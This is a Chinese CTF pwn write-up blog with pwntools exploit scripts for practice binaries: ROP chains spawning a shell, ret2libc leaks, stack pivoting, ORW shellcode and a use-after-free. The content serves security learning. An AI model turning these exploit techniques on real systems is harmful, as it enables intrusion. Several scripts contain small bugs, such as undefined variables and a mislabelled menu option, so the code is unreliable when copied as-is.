集训后的一些wp
新生赛后
0x01 2048(jk出发)
修改跳转条件为nop,随便动一下直接打印flag。这个场景我幻想过很久了,一直没做到,这次参考wp做出来了知道怎么做了。学到!
0x02 four(dsactf)
vmmap查看段权限,可以看到bss段!以前完全不知道可以这样!!
ssp leak打法,没学过,这次学了。输入argv记一下,然后read开始的地址记一下,拿到偏移,可以打ssp leak,这是最关键的一点。不过高版本修复了。但是没关系,乐趣所在。
在__stack_chk_fail
中可以看到参数。
from pwn import *
p=process("./pwn")
if args.P:
p=remote('node4.buuoj.cn',25603)
context.terminal = ['tmux','splitw','-h']
if args.G:
gdb.attach(p)
p.sendlineafter('your choice :', b'2')
p.sendlineafter('You can give any value, trust me, there will be no overflow', str(0x5FF0-1))
payload = b'N'*(0x5de0) + b'flag\x00'
p.sendlineafter('Actually, this function doesn\'t seem to be useful', payload)
p.sendlineafter('Really?', b'y')
p.sendlineafter('your choice :', b'3')
p.sendlineafter('Enter level:', b'3')
p.sendlineafter('Enter mode:', b'3')
p.sendlineafter('Enter X:', b'3')
p.sendlineafter('Enter a string:', b'3')
p.sendlineafter('please input filename', b'output.txt')
p.sendlineafter('1. yes\n2.no', b'2')
bss = 0x602323
p.sendlineafter('your choice :', b'4')
payload = b':`##>@a*>~3'
p.sendlineafter('info>>', payload)
p.sendline(b'5')
#payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaab' + p64(bss)
payload = b'YYYYYYYY' + b'N'*0x110+p64(bss)
p.send(payload)
拿到flag。
2023.5.22
0x00 picoctf_2018_rop chain
久违了,好久没好好做做pwn题,之前都是和比赛苦熬但是没好好熬出个结果(虽然复现学到好多但是确实很累啊!)。最后还是pwn还是要把题目多刷刷,才能形成思路。本人基础知识都已经基本完备,接下来是要好好刷题了。这些日子先多做做栈,等后面时间宽裕了开堆。
题目来源是buuctf pwn的第一页最后一题。
太久没写32位的题目差点忘记怎么传参了。要记住本函数的参数是跟在返回地址后面的。即返回地址+参数,如果有很多个函数,他们有很多个参数,则是
add1 + (add2 + arg1 +……)#属于add1的返回地址和参数 + (add3 +arg2+……)#属于add2的 + (add4 + arg3+……)#属于add3的
这么看太抽象,直接看题解吧!
0x01 wp
checksec啥的就跳过了,具体可以参考之前的wp。
第二步,反编译+静态分析
存在栈溢出漏洞。
将win1设置为1。
当传参为0xbaaaaaad,win2设置为1。
当win1和win2为1,参数为0xdaeadbaad,打印flag
第三步,写exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pico'
libcname = './libc.so.6'
p = process('./pico')
p = remote('node4.buuoj.cn', 29602)
elf = ELF(procname)
#libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s, drop=True)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : p.sendafter(p, s)
sla = lambda p, s : p.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
win1 = p32(0x80485cb)
win2 = p32(0x80485d8)
flag = p32(0x804862b)
p1 = b'a'*0x18+ b'bppp' + win1 + win2 + flag + p32(0xbaaaaaad) +p32(0xdeadbaad)
#flag没返回地址所以就没填,直接传参
sl(p1)
ia()
拿到flag
最后
有问题欢迎指出和指正!!欢迎交流,热烈欢迎大家来学pwn!
2023.5.27
0x00 ciscn 2023 烧烤
0x01 wp
第一步,分析
静态分析发现,输入负数可以赚钱()。
承包摊位有栈溢出漏洞。
然后用gadget控制寄存器rdi为name(一开始输入'/bin/sh\x00'),rsi、rdx控制为0,rax控制为59,最后进行syscall即可。
第二步,写exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./shaokao')
#p = remote('node4.buuoj.cn', 29639)
elf = ELF('./shaokao')
#libc = ELF('./libc-2.27.so')
p = remote('47.95.212.224', 19743)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
bss = 0x4e60f0
scanf = 0x40bf60
prsi = 0x000000000040a67e #pop rsi ; ret
pedx = 0x00000000004a404b # pop rdx ; pop rbx ; ret
prdi = 0x000000000040264f # pop rdi ; ret
prax = 0x0000000000458827 # pop rax ; ret
syscall = 0x0000000000402404
sh = 0x00000000004d29cc
sla('>',b'1')
sl(b'1')
sl(b'-1000000')
sla('>',b'4')
sla('>',b'5')
payload = b'/bin/sh\x00'*5 + p64(prdi) + p64(bss) + p64(prax) + p64(59) +p64(prsi) + p64(0) +p64(padx) +p64(0)*2 +p64(syscall)
sl(payload)
ia()
2023.06.09
0x01 ez_pz_hackover_2016
常规解法 ret2libc
不能再傻了……32位是先返回地址然后参数啊……
buuctf pwn第二页第一题
~/ctf/train/buu/hackover2016 » cat exp.py N1nE@N1nEmAn
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pz'
libcname = './libc-2.23.so'
p = process('./pz')
p = remote('node4.buuoj.cn', 28711)
elf = ELF(procname)
libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s, drop=True)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : p.sendafter(p, s)
sla = lambda p, s : p.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
padd = elf.plt['printf']
main = elf.sym['main']
pgot = elf.got['printf']
sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(padd)+p32(main)+p32(pgot))#构建输入进入vuln函数,返回地址+返回地址2+参数ru('!\n')
ppadd = u32(rv(4))#接受printf地址print('printf:',hex(ppadd))
base = ppadd - libc.sym['printf']
print('base:',hex(base))
system = base+libc.sym['system']
binsh = base+0x15902b#用ROPgadget找到的binsh字符串地址sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
ia()
骚操作 one_shot
og = base+0x3a80c
#sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(og)+p32(0)*0x20)#使用one_gadget并且覆盖esp+0x28的位置为0,达成一枪致命的效果
ia()
拿到权限!
2023.07.02
0x01 pwnable_orw
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./orw')
elf = ELF('./orw')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 27378)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
shellcode = shellcraft.open('flag')#orw
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
shellcode = asm(shellcode)
print('shellcode is ',shellcode)
sl(shellcode)
ia()
0x02 [BUUCTF]PWN——[Black Watch 入群题]PWN
构造栈迁移ret2libc,一定不要在栈迁移的时候用sendline
from pwn import *
p = process('./l4')
p = remote('node4.buuoj.cn', 28093)
elf = ELF('./l4')
libc = ELF('./libc-2.23.so')
context(os='linux', arch='i386', log_level='debug')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
puts = 0x8048380
lv = 0x08048511
main = 0x8048513
putsgot = 0x804a01c
s = 0x804a300
payload = b'aaaa' + p32(puts) + p32(main) + p32(1) + p32(putsgot)+p32(8)
p.sendafter(b'?',payload)
pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
p.sendafter(b'?',pay2)
realputs = u32(p.recvuntil('\0')[-5:-1].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))
libcbase = realputs - libc.sym['write']
print(hex(libcbase))
sys = libcbase + libc.sym['system']
print(hex(libc.sym['system']))
print(hex(sys))
binsh = libcbase + 0x15902b
payload = b'aaaa' + p32(0x08048312)+p32(sys) + p32(main) + p32(binsh)
p.sendafter(b'?',payload)
pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
p.sendafter(b'?',pay2)
p.interactive()
2023.7.4
0x01 inndy_rop与rop_chain
1.题目 inndy_rop
使用这个命令。
ROPgadget --binary l4 --ropchain
就会得到一个rop,只需要返回这个就行。
一开始得到这个:
p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
我们要学习一下:
2.vim的批量替换
在 Vim 中进行批量替换内容,你可以使用 :s
命令(substitute 的缩写)。下面是一些常用的替换方法:
-
替换当前行的第一个匹配项:
:s/要替换的内容/替换后的内容/
-
替换当前行所有匹配项:
:s/要替换的内容/替换后的内容/g
-
替换指定范围内所有匹配项:
:起始行号,结束行号s/要替换的内容/替换后的内容/g
-
替换整个文件中的所有匹配项:
:%s/要替换的内容/替换后的内容/g
-
替换时忽略大小写:
:%s/要替换的内容/替换后的内容/gi
-
提示确认每次替换:
:%s/要替换的内容/替换后的内容/gc
以上命令中,s/
表示替换操作的开始,g
表示全局替换,i
表示忽略大小写,c
表示每次替换时都要确认。
如果要进行批量替换并保存更改,可以在命令前加上 w
来写入文件。例如:
:w | %s/要替换的内容/替换后的内容/g | wq
3.exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
io = process('./l4')
elf = ELF('./l4')
libc = ELF('./libc-2.23.so')
#io = remote('node4.buuoj.cn', 27407)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(io,'b *0x8048893')
p=b'a'*(0xc+4)
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080b8016) # pop eax ; ret
p += b'/bin'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b8016) # pop eax ; ret
p += b'//sh'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080de769) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0806c943) # int 0x80
sl(p)
ia()
2023.7.5
hitcontraining_uaf(个人认为本质和fastbin差不多
1.分析程序
本题的漏洞是UAF,漏洞在于删除堆块的函数没有将指针置为0,这使得我们可以修改相关内存。这个程序会在分配堆的时候在之前分配一个有关puts的堆,存有print_note_content函数和参数,用来调用打印heap信息。接着下一个才是申请的堆块。
如果我们覆盖这个函数为magic,那么我们就可以在打印的时候调用magic。
2.整体思路
整体思路是,利用UAF漏洞,先释放两个大堆块,在申请一个小堆块,这样的话第一次申请puts的堆的话是申请第二次释放的puts的堆,再申请我们要申请的堆,就会申请到第一次释放的puts的堆,然后修改puts堆的函数地址,达到目的。(Tcache后进先出)。
3.利用过程讲解
add(16,b'0')
add(16,b'0')
执行这些之后,堆上是这样的。
(vis(visble )命令可以直接查看,全称是vis_heap_chunk)
可以看到紫色的是putheap函数和参数,而绿色才是第一个申请的堆块,蓝色是第二个putsheap的函数和参数,橙色是第二个堆块。
free(0)
free(1)
执行这些之后,堆上是这样的。释放后的到了Tcache bin中。
magic = 0x8048945
add(8,p32(magic))
接着我们申请8字节大小的内存,和putsheap函数的内容大小一样。
执行第一步,根据Tcache后进先出,蓝色被分配用于存放putsheap函数和参数(当前还没参数)。
执行第二步,紫色用于作为我们申请的内存,并且写入magic地址,注意,这里本来应该是执行putsheap的地址,所以在打印堆块的时候会执行这个函数,然后拿到权限。
执行,拿到权限。
3.完整exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./heap')
p = remote('node4.buuoj.cn', 28490)
elf = ELF('./heap')
libc = ELF('./libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','2')
sla(':',str(idx))
def dump(idx):
sla(':','3')
sla(':',str(idx))
add(16,b'0')
add(16,b'0')
free(0)
free(1)
magic = 0x8048945
add(8,p32(magic))
dump(0)
ia()